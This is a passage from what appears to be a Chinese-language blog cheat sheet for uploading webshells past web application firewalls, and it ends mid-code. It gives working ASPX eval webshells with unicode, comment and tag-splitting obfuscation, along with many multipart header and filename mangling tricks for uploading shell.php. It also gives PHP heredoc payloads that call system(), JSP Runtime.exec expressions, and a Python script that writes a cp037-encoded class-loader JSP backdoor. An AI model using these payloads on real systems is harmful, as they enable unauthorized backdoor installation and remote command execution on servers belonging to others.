<figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">声明编码的四种形式:</span><br><span class="line"><span class="bullet">1.</span> &lt;%@ page contentType=&quot;charset=cp037&quot; %&gt;</span><br><span class="line"><span class="bullet">2.</span> &lt;%@ page pageEncoding=&quot;cp037&quot; %&gt;</span><br><span class="line"><span class="bullet">3.</span> <span class="language-xml"><span class="tag">&lt;<span class="name">jsp:directive.page</span> <span class="attr">contentType</span>=<span class="string">&quot;charset=cp037&quot;</span>/&gt;</span></span></span><br><span class="line"><span class="bullet">4.</span> <span class="language-xml"><span class="tag">&lt;<span class="name">jsp:directive.page</span> <span class="attr">pageEncoding</span>=<span class="string">&quot;cp037&quot;</span>/&gt;</span></span></span><br><span class="line"></span><br><span class="line">部分可利用编码:(注意字符集是支持别名的，如果名称被拦了可以用别名尝试bypass)</span><br><span class="line">单字节编码:	cp037,cp290等</span><br><span class="line">2或4字节编码:	utf-16le,utf-16be等</span><br><span class="line">4字节编码:	utf-32le,utf-32be等</span><br></pre></td></tr></table></figure>

<p><strong>h. 标签解析特性绕过及标签逃逸(未学习)</strong></p>
<p>来源:Java Webshell攻防下的黑魔法-yzddmr6</p>
<figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">  </span><br></pre></td></tr></table></figure>



<p>**</p>
<p><strong>三、ASPX篇</strong></p>
<p><strong>a.  unicode 编码</strong></p>
<p>例如 <code>eval</code> 他可以变为<br><code>\u0065\u0076\u0061\u006c</code></p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;%@ Page Language=&quot;Jscript&quot;%&gt;&lt;%\u0065\u0076\u0061\u006c(@Request.Item[&quot;pass&quot;],&quot;unsafe&quot;);%&gt;</span><br></pre></td></tr></table></figure>

<p>在<code> Jscript</code> 的情况下它不支持大 U 和多个 0 的增加<br>而在<code> c#</code> 的情况下，是可以支持的: 如 <code>\U000000000045</code></p>
<p><strong>b. 空字符串连接</strong></p>
<p>在函数字符串中插入这些字符都不会影响脚本的正常运行，在测试前需要注意该类字符插入的位置，否则插入错误的地方会产生报错</p>
<figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">\u200c</span><br><span class="line">\u200d</span><br><span class="line">\u200e</span><br><span class="line">\u200f</span><br></pre></td></tr></table></figure>

<p><strong>c. 使用 &lt;%%&gt; 语法</strong></p>
<p>将整个字符串与函数利用 <code>&lt;%%&gt;</code> 进行分割</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;%@Page Language=JS%&gt;&lt;%eval%&gt;&lt;%(Request.%&gt;&lt;%Item[&quot;pass&quot;],&quot;unsafe&quot;);%&gt;</span><br></pre></td></tr></table></figure>

<p><strong>d. 头部免杀</strong></p>
<p>之前有遇到过检测该字段的 <code>&lt;%@ Page Language=&quot;C#&quot; %&gt;</code> ，这个是标识 ASPX 的一个字段，<br>针对该字段进行免杀 <code>%@Language=CSHARP% </code></p>
<p>同样的，可以修改</p>
<p><code>&lt;%@ Page Language=&quot;Jscript&quot;%&gt;</code>  为  <code>&lt;%@Page Language=JS%&gt;</code><br>也可以将该字段放在后面，不一定要放前面</p>
<p><strong>e. 使用符号</strong></p>
<p>如哥斯拉 webshell 存在特征代码，可以添加 @ 符号但是不会影响其解析。</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">(Context.Session[&quot;payload&quot;] == null)</span><br><span class="line">(@Context.@Session[&quot;payload&quot;] == null)</span><br></pre></td></tr></table></figure>

<p><strong>f. 注释可以随意插入</strong></p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;%/*qi*/Session./*qi*/Add(@&quot;k&quot;/*qi*/,/*qi*/&quot;e45e329feb5d925b&quot;/*qi*/)</span><br></pre></td></tr></table></figure>

<p>可以与 <code>&lt;%%&gt;</code> 结合使用效果会更好</p>
</li>
<li></li>
<li><p><strong>UEditor编辑器过滤<code>?</code>号的利用</strong><br>Payload: <code>1.jpg?.?a?s?p?x</code></p>
</li>
<li><p><strong>常用扩展名</strong></p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">asp|asa|cer|cdx|aspx|ashx|ascx|asax</span><br><span class="line">php|php2|php3|php4|php5|asis|htaccess</span><br><span class="line">htm|html|shtml|pwml|phtml|phtm|js|jsp</span><br><span class="line">vbs|asis|sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini</span><br></pre></td></tr></table></figure>
</li>
<li><p><strong>Apache解析漏洞弱匹配</strong><br>filename&#x3D;”sh;ell.php”<br>或 filename&#x3D;”sh ell.php”<br>或 filename&#x3D;”sh’ell.php”</p>
</li>
<li><p><strong>{boundary} boundary魔改</strong></p>
<p>a. 有效 boundary 格式</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">首先，php先从Content-Type是否包含boundary字符串之后寻找等号的位置作为起始位置，获取boundary值。</span><br><span class="line">boundary的值有引号包裹和无引号包裹两种情况</span><br><span class="line">在无引号包裹时，可以使用逗号或分号作为终止字符。</span><br><span class="line">到这里就可以总结出有效boundary格式了</span><br></pre></td></tr></table></figure>

<ul>
<li><p>{} 为可进行混淆的部分</p>
</li>
<li><p>[] 为可选部分</p>
</li>
<li><p>无字体包围的地方 为必选部分</p>
</li>
</ul>
<p> <strong>有效boundary格式:</strong><br><code>&#123;任意字符&#125;</code>boundary<code>&#123;除等号外任意字符&#125;</code>&#x3D;[“]boundary内容[“][<code>[,;]&#123;任意字符&#125;</code>]</p>
<p>b. 脏数据</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Content-Disposition: form-data; name=<span class="string">&quot;filename&quot;</span>;cccc <span class="title function_ invoke__">cccc</span> (很多个`cccc `,末尾有`;`)filename=<span class="string">&quot;shell.php&quot;</span></span><br></pre></td></tr></table></figure>

<p>c. filename魔改 (name同理)</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 1.去掉双引号</span></span><br><span class="line">Content-Disposition: form-data; name=<span class="string">&quot;filename&quot;</span>;filename=shell.php</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2.双写或多写filename,只会解析最后的filename</span></span><br><span class="line">Content-Disposition: form-data; name=<span class="string">&quot;filename&quot;</span>;filename=test1.txt;filename=test2.txt;filename=test2.txt;filename=test3.txt;filename=test4.txt;filename=shell.php</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3.去掉前面filename的参数值,只会解析最后的filename,即shell.php </span></span><br><span class="line">Content-Disposition: form-data; name=<span class="string">&quot;file&quot;</span>; filename= ; filename=<span class="number">1</span>.txt; filename=<span class="number">2</span>.txt; filename=<span class="number">3</span>.txt;  filename=<span class="string">&quot;shell.php&quot;</span></span><br><span class="line">    </span><br><span class="line"><span class="comment"># 4.换行解析   可自行穿插 %0a,%0b,%0c,%0d,%09,%a0 进行测试</span></span><br><span class="line"><span class="comment"># (经测试得出，可穿插 %01 ~ %19,记得用url编码一下,不包括 %09 )</span></span><br><span class="line"><span class="comment"># 即 %01%02%03%04%05%06%07%08%10%11%12%13%14%15%16%17%18%19 </span></span><br><span class="line">    </span><br><span class="line">Content-Disposition: form-data; name=<span class="string">&quot;filename&quot;</span>;filename=shell.p</span><br><span class="line">h</span><br><span class="line">p    </span><br><span class="line">    </span><br><span class="line">或   </span><br><span class="line">    </span><br><span class="line">Content-Disposition: form-data; name=<span class="string">&quot;filename&quot;</span>;filename</span><br><span class="line">=<span class="string">&quot;shell.p</span></span><br><span class="line"><span class="string">h</span></span><br><span class="line"><span class="string">p  </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">或</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Content-Disposition: form-data; name=&quot;</span>filename<span class="string">&quot;;filename</span></span><br><span class="line"><span class="string">=shell</span></span><br><span class="line"><span class="string">.p</span></span><br><span class="line"><span class="string">h</span></span><br><span class="line"><span class="string">p\r&quot;</span>\n  </span><br><span class="line">    </span><br><span class="line"><span class="comment"># 5.穿插任意个 = 号</span></span><br><span class="line">Content-Disposition: form-data; name=<span class="string">&quot;filename&quot;</span>;filename==<span class="string">&quot;shell.php&quot;</span></span><br><span class="line">Content-Disposition: form-data; name=<span class="string">&quot;filename&quot;</span>;filename==============<span class="string">&quot;shell.php&quot;</span>    </span><br><span class="line">    </span><br><span class="line"><span class="comment"># 6.文件名包含 / 或 \ ，会取 / 或 \ 后面的字符串作为文件名</span></span><br><span class="line"><span class="comment">#    (即shell.php)</span></span><br><span class="line">Content-Disposition: form-data; name=<span class="string">&quot;filename&quot;</span>;filename=<span class="number">1</span>.jpg/shell.php    </span><br><span class="line">    </span><br><span class="line">或    </span><br><span class="line">  </span><br><span class="line">Content-Disposition: form-data; name=<span class="string">&quot;filename&quot;</span>;filename=<span class="number">1</span>.jpg/test.txt\shell.php     </span><br></pre></td></tr></table></figure>

<p> d. 魔改form-data</p>
  <figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 1.去掉了 form-data</span></span><br><span class="line">Content-Disposition: name=<span class="string">&quot;file&quot;</span>; filename=<span class="string">&quot;shell.php&quot;</span>  </span><br><span class="line">    </span><br><span class="line"><span class="comment"># 2.参数污染</span></span><br><span class="line">Content-Disposition:TonyD0gTonyD0gTonyD0gTonyD0gTonyD0gTonyD0gTonyD0gTonyD0g=<span class="string">&quot;qwertyuio&quot;</span>; name=<span class="string">&quot;file&quot;</span>; filename=<span class="string">&quot;shell.php&quot;</span></span><br><span class="line">    </span><br><span class="line">或</span><br><span class="line"></span><br><span class="line">Content-Disposition:TonyD0gTonyD0gTonyD0gTonyD0gTonyD0gTonyD0gTonyD0gTonyD0g form-data;  </span><br><span class="line"></span><br><span class="line">或 </span><br><span class="line"><span class="comment"># 只要最后的字符是 ; 号即可,前面的那个form-data可去掉</span></span><br><span class="line"><span class="comment"># 即 Content-DIspoSition:&#123;任意字符&#125;;</span></span><br><span class="line">Content-DIspoSition:TonyD0gTonyD0gTonyD0gTonyD0g form-data!@<span class="comment">#$%^&amp;*(;    </span></span><br><span class="line">    </span><br><span class="line"><span class="comment"># 3.大小写混淆</span></span><br><span class="line">ConTent-DispOsitIon:forM-dAta; name=<span class="string">&quot;file&quot;</span>; filename=<span class="string">&quot;shell.php&quot;</span>     </span><br><span class="line"> </span><br><span class="line"><span class="comment"># 4.参数污染 (混搭没准有出其不意的效果)</span></span><br><span class="line"><span class="comment"># 在一行中,&quot;Content-Disposition:&quot; 前不能有任何字符</span></span><br><span class="line"><span class="comment">#(但可以进行 &quot;Content-Disposition:&quot; 套娃)   </span></span><br><span class="line">Content-Disposition: name=<span class="string">&quot;file&quot;</span>;TonyD0g:TonyD0g;TonyD0g;filename=<span class="string">&quot;TonyD0g.jpg&quot;</span> Content-Disposition: name=<span class="string">&quot;file&quot;</span>; filename=<span class="string">&quot;shell.php&quot;</span>  </span><br><span class="line">    </span><br><span class="line">或</span><br><span class="line"></span><br><span class="line">Content-Type:	image/gif    </span><br><span class="line">Content-Disposition: name=<span class="string">&quot;file&quot;</span>; filename=<span class="string">&quot;shell.php&quot;</span>  </span><br><span class="line">    </span><br><span class="line">或</span><br><span class="line">    </span><br><span class="line">Content-Length:	<span class="number">21381</span>    </span><br><span class="line">Content-Disposition: name=<span class="string">&quot;file&quot;</span>; filename=<span class="string">&quot;shell.php&quot;</span>     </span><br><span class="line">    </span><br></pre></td></tr></table></figure>



<p><strong>e. {boundary} 重定向绕过</strong></p>
<p>filename&#x3D;<code>www.txt&lt;&lt;&lt;</code><br>或 filename&#x3D;<code>www.txt&lt;&lt;&lt;&lt;</code><br>或 filename&#x3D;<code>www&lt;php&lt;&lt;&lt;&lt;</code></p>
</li>
</ul>
<p>​		<strong>f. cp037,cp273,cp500,cp875,cp1026,cp1140编码</strong></p>
<p>​		基础版本：</p>
<p>​		boundary&#x3D;a,charset&#x3D;cp037</p>
<p>​		<strong>依旧可以引入权重 <code>;q=</code></strong></p>
<p>​		混淆一下：</p>
<p>​		boundary&#x3D;a,{除%00<del>%08，%10</del>%19外的其他字符}charset&#x3D;cp037</p>
<p>​		<strong>g. us-ascii 或 iso-8859-1 或 Windows-874 或 Windows-1251编码</strong></p>
<p>​		boundary&#x3D;a,charset&#x3D;us-ascii	</p>
<p>​		使用中文时，传输过去会被解析为<code>?</code>号,没准混淆的时候有用</p>
<p>​		</p>
<ul>
<li><p><strong>{body} body魔改</strong></p>
<p><strong>a. body 中的 换行问题</strong></p>
<p><code>multipart</code>中换行可以不是<code>CLRF</code>，只需要包含一个<code>\n</code>就会判断为新行。</p>
<p>（<code>CLRF</code> : \r\n）</p>
<p><strong>b. 如果当前行没有冒号就和上一行合并</strong></p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 如：</span></span><br><span class="line">Content-</span><br><span class="line">Disposition: </span><br><span class="line">form-data; na</span><br><span class="line">me=<span class="string">&quot;filename&quot;</span>;filename=<span class="string">&quot;shell.php&quot;</span></span><br></pre></td></tr></table></figure>



<p><strong>c. <code>multipart</code>前后可以填充垃圾数据</strong></p>
<p><strong>d. <code>php</code>能解析的<code>body</code>规则</strong></p>
<p>当body中存在<code>name</code>变量时，php会解析为<code>$_POST</code>数据</p>
<p>当body中存在<code>filename</code>变量时，php会解析为<code>$_FILES</code>数据</p>
<p>(<code>重点标注的地方</code> 为 可填入任意字符)<br>Http数据包：</p>
<hr>
<p>Content-Type: multipart&#x2F;form-data; boundary&#x3D;a</p>
<p>–a<br>Content-Disposition: form-data; name&#x3D;”filename”</p>
<p>just a content<br>–a<code>&#123;此处可填入任意字符,包括了%0a%0b%0c%0d%09%00&#125;</code></p>
<hr>
<p><strong>e. 多重body,取最前面的，即 name&#x3D;”f1”的这一行</strong><br>Content-Disposition: form-data; name&#x3D;”f1”;<br>Content-Disposition: form-data; name&#x3D;”f2”;<br>Content-Disposition: form-data; name&#x3D;”f3”;</p>
</li>
<li><p><strong>{PHP} 绕过PHP标签检测</strong><br>php的各种短标签:<br>(1)<br><code>&lt;? echo &#39;123&#39;;?&gt;</code><br>前提是开启配置参数short_open_tags&#x3D;on</p>
<p>(2)<br><code>&lt;?=(表达式)?&gt;  等价于 &lt;?php echo (表达式)?&gt;</code><br>不需要开启参数设置</p>
<p>(3)<br><code>&lt;% echo &#39;123&#39;;%&gt;</code><br>前提是开启配置参数asp_tags&#x3D;on，经过测试发现7.0及以上修改完之后也不能使用，而是报500错误，但是7.0以下版本在修改完配置后就可以使用了。</p>
<p>(4)<br><code>&lt;script language=”php”&gt;echo &#39;123&#39;; &lt;/script&gt;</code></p>
<p>不需要修改参数开关，但是只能在<code>7.0以下</code>可用。<br>如果文件名会被重命名也可以使用这个</p>
<p>(5)<br>如果waf直接拦截<code>&lt;?php</code>这样的内容，可以用<code>.user.ini</code>或<code>.htaccess</code>改为UTF-7编码进行绕过.(文件名没有被重命名的条件下)</p>
<p>开启多字节编码：</p>
<p><code>.user.ini</code></p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">zend.multibyte=1</span><br><span class="line">zend.script_encoding=utf-7</span><br></pre></td></tr></table></figure>

<p><code>.htaccess</code></p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">php_flag zend.multibyte 1</span><br><span class="line">php_value zend.script_encoding UTF-7</span><br></pre></td></tr></table></figure>

<p>(6)<br>waf检测<code>成对</code>括号</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$a</span> =<span class="string">&lt;&lt;&lt; aa</span></span><br><span class="line"><span class="string">assasssasssasssasssasssasssasssasssasssasssassss</span></span><br><span class="line"><span class="string">aa</span>;</span><br></pre></td></tr></table></figure>

<p>这种赋值手法是php的一种特性，用于解决字符串中既有单引号又有双引号这种特殊情况，<code>aa</code>名称没意义，起什么都可以，在<code>某些php版本</code>中，末尾的aa后不能加其他语句，否则会报错。</p>
<p>引发报错的条件下，waf不不会进行拦截,但<code>aa;</code>后是可以添加php代码并能够去执行的</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># payload 1:</span></span><br><span class="line"><span class="variable">$a</span> =<span class="string">&lt;&lt;&lt; aa</span></span><br><span class="line"><span class="string">assasssasssasssasssasssasssasssasssasssasssassss</span></span><br><span class="line"><span class="string">aa</span>;<span class="title function_ invoke__">phpinfo</span>();<span class="meta">?&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># payload 2:</span></span><br><span class="line"><span class="variable">$a</span> =<span class="string">&lt;&lt;&lt; aa</span></span><br><span class="line"><span class="string">assasssasssasssasssasssasssasssasssasssasssassss</span></span><br><span class="line"><span class="string">aa</span>;<span class="title function_ invoke__">system</span>(<span class="string">&quot;ls - l&quot;</span>);<span class="meta">?&gt;</span> </span><br><span class="line"><span class="comment"># 加双引号是为了防止命令中出现空格从而导致无法执行</span></span><br></pre></td></tr></table></figure>


</li>
<li><p><strong>编码绕过</strong></p>
<p>a. <strong>cp037编码</strong> （脚本内置马支持后缀jsp&#x2F;jspx，都可解析）</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#python2</span></span><br><span class="line">data = <span class="string">&#x27;&#x27;&#x27;&lt;?xml version=&quot;1.0&quot; encoding=&quot;cp037&quot;?&gt;</span></span><br><span class="line"><span class="string">&lt;jsp:root xmlns:jsp=&quot;http://java.sun.com/JSP/Page&quot; version=&quot;1.2&quot;&gt;</span></span><br><span class="line"><span class="string">  &lt;jsp:declaration&gt;</span></span><br><span class="line"><span class="string">    class PERFORM extends ClassLoader &#123;</span></span><br><span class="line"><span class="string">      PERFORM(ClassLoader c) &#123; super(c);&#125;</span></span><br><span class="line"><span class="string">      public Class bookkeeping(byte[] b) &#123;</span></span><br><span class="line"><span class="string">        return super.defineClass(b, 0, b.length);</span></span><br><span class="line"><span class="string">      &#125;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    public byte[] branch(String str) throws Exception &#123;</span></span><br><span class="line"><span class="string">      Class base64;</span></span><br><span class="line"><span class="string">      byte[] value = null;</span></span><br><span class="line"><span class="string">      try &#123;</span></span><br><span class="line"><span class="string">        base64=Class.forName(&quot;sun.misc.BASE64Decoder&quot;);</span></span><br><span class="line"><span class="string">        Object decoder = base64.newInstance();</span></span><br><span class="line"><span class="string">        value = (byte[])decoder.getClass().getMethod(&quot;decodeBuffer&quot;, new Class[] &#123;String.class &#125;).invoke(decoder, new Object[] &#123; str &#125;);</span></span><br><span class="line"><span class="string">      &#125; catch (Exception e) &#123;</span></span><br><span class="line"><span class="string">        try &#123;</span></span><br><span class="line"><span class="string">          base64=Class.forName(&quot;java.util.Base64&quot;);</span></span><br><span class="line"><span class="string">          Object decoder = base64.getMethod(&quot;getDecoder&quot;, null).invoke(base64, null);</span></span><br><span class="line"><span class="string">          value = (byte[])decoder.getClass().getMethod(&quot;decode&quot;, new Class[] &#123; String.class &#125;).invoke(decoder, new Object[] &#123; str &#125;);</span></span><br><span class="line"><span class="string">        &#125; catch (Exception ee) &#123;&#125;</span></span><br><span class="line"><span class="string">      &#125;</span></span><br><span class="line"><span class="string">      return value;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">  &lt;/jsp:declaration&gt;</span></span><br><span class="line"><span class="string">  &lt;jsp:scriptlet&gt;</span></span><br><span class="line"><span class="string">    String cls = request.getParameter(&quot;xxoo&quot;);</span></span><br><span class="line"><span class="string">    if (cls != null) &#123;</span></span><br><span class="line"><span class="string">      new PERFORM(this.getClass().getClassLoader()).bookkeeping(branch(cls)).newInstance().equals(new Object[]&#123;request,response&#125;);</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">  &lt;/jsp:scriptlet&gt;</span></span><br><span class="line"><span class="string">&lt;/jsp:root&gt;&#x27;&#x27;&#x27;</span></span><br><span class="line">fcp037 = <span class="built_in">open</span>(<span class="string">&#x27;cp037.jsp&#x27;</span>,<span class="string">&#x27;wb&#x27;</span>)![](https://xzfile.aliyuncs.com/media/upload/picture/<span class="number">20220804173607</span>-de2cfbb4-13d8-<span class="number">1.</span>png)</span><br><span class="line">fcp037.write(data.encode(<span class="string">&#x27;cp037&#x27;</span>))</span><br></pre></td></tr></table></figure></li>
</ul>
<p>​		</p>
<p>​		b. unicode编码</p>
<ul>
<li><p><strong>HTTP数据包压缩&#x2F;编码</strong><br>数据包中添加<br><code>Accept-Encoding: deflate</code><br>或 <code>Accept-Encoding: gzip</code><br>或<code> content-Encoding: deflate</code><br>或<code> content-Encoding: gzip</code><br>或 <code>Accept-Encoding: compress</code><br>或 <code>Accept-Encoding: br</code><br>或 <code>Accept-Encoding: identity</code><br>或 <code>Accept-Encoding: *</code></p>
<p>权重:  <code>;q=</code></p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">如:</span><br><span class="line">Accept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1</span><br></pre></td></tr></table></figure>

</li>
<li><p><strong>{JSP} Tomcat 环境下的bypass</strong><br>payload:<br><code>1.jpg\.jsp/</code>		</p>
<p><code>1.jpg\.jsp\</code></p>
<p>在后缀名绕过那里可以绕过是因为<code>tomcat</code>认为<code>.jsp/</code>在文件名中是非法的，<code>Tomcat</code>会自动去除非法的<code>/</code>号，并不是因为<code>windows</code>的特性。但<code>.jsp\</code>的反斜杠在本地测试时也可以正常解析去除，在目标机上却无法解析，个人感觉应该很大程度取决于所用的java库及其版本</p>
</li>
<li><p><strong>{JSP} 绕过 JSP 标记检测</strong></p>
<p>使用条件：</p>
<ol>
<li><p>jsp的站，可以任意文件上传</p>
</li>
<li><p>上传jsp会把<code>&lt;%</code>中的<code>&lt;</code>给转义掉</p>
</li>
<li><p>上传jspx会把<code>[jsp:scriptlet](jsp:scriptlet)</code>到<code>&lt;/jsp:scriptlet&gt;</code>中的内容替换为空</p>
</li>
</ol>
<p>第一种是利用<code>$&#123;&#125;</code>标记：</p>
<p>payload：<code>$&#123;Runtime.getRuntime().exec(request.getParameter(&quot;x&quot;))&#125;</code></p>
<p>第二种是利用命名空间的特性：</p>
<p>使用自定义的命名空间，替换掉jsp的关键字</p>
<p>即将原本的<a href="hi:scriptlet">hi:scriptlet</a>替换成&lt;你自定义字符:scriptlet&gt;,我这里是<code>TonyD0g</code></p>
<p>这样waf的正则匹配不到<a href="jsp:scriptlet">jsp:scriptlet</a>自然就会放行<br>payload:</p>
<figure class="highlight jsp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&lt;TonyD0g xmlns:hi=<span class="string">&quot;http://java.sun.com/JSP/Page&quot;</span>&gt;</span><br><span class="line">    &lt;TonyD0g:scriptlet&gt;</span><br><span class="line">        out.println(<span class="number">30</span>*<span class="number">30</span>);</span><br><span class="line">    &lt;/TonyD0g:scriptlet&gt;</span><br><span class="line">&lt;/TonyD0g&gt;</span><br></pre></td></tr></table></figure>
</li>
<li><p><strong>{JSP} 获取网站路径</strong><br><code>Tomcat</code>与<code>Apache</code>不同，根目录并不是以代码运行位置决定所在的目录，而是默认为<code>Tomcat/bin</code>作为根目录</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"># 获取当前的根目录</span><br><span class="line">    String path = System.getProperty(&quot;user.dir&quot;);</span><br><span class="line">    out.println(path);</span><br><span class="line"></span><br><span class="line"># 输出:D:\tomcat8\bin</span><br></pre></td></tr></table></figure>

<figure class="highlight jsp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"># 获取web项目所在的目录</span><br><span class="line">    <span class="type">String</span> <span class="variable">path</span> <span class="operator">=</span> application.getRealPath(<span class="string">&quot;test.jsp&quot;</span>);</span><br><span class="line">    out.println(path);</span><br><span class="line"></span><br><span class="line"># 输出:D:\tomcat8\webapps\declare\test.jsp</span><br></pre></td></tr></table></figure></li>
</ul>
<p>​        所以写入shell的绝对路径应为				<code>D:/tomcat8/webapps/declare/static/upload/test.jsp</code></p>
<ul>
<li><p><strong>{JSP} 编码或加密绕过waf写入shell</strong><br>建议采用<code>RSA</code>,<code>AES</code>加密</p>
<figure class="highlight jsp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">&lt;hi xmlns:hi=<span class="string">&quot;http://java.sun.com/JSP/Page&quot;</span>&gt;</span><br><span class="line">    &lt;hi:directive.page <span class="keyword">import</span>=<span class="string">&quot;java.util.Base64,java.io.*&quot;</span>/&gt;</span><br><span class="line">    &lt;hi:scriptlet&gt;</span><br><span class="line">        <span class="type">File</span> <span class="variable">file</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">File</span>(<span 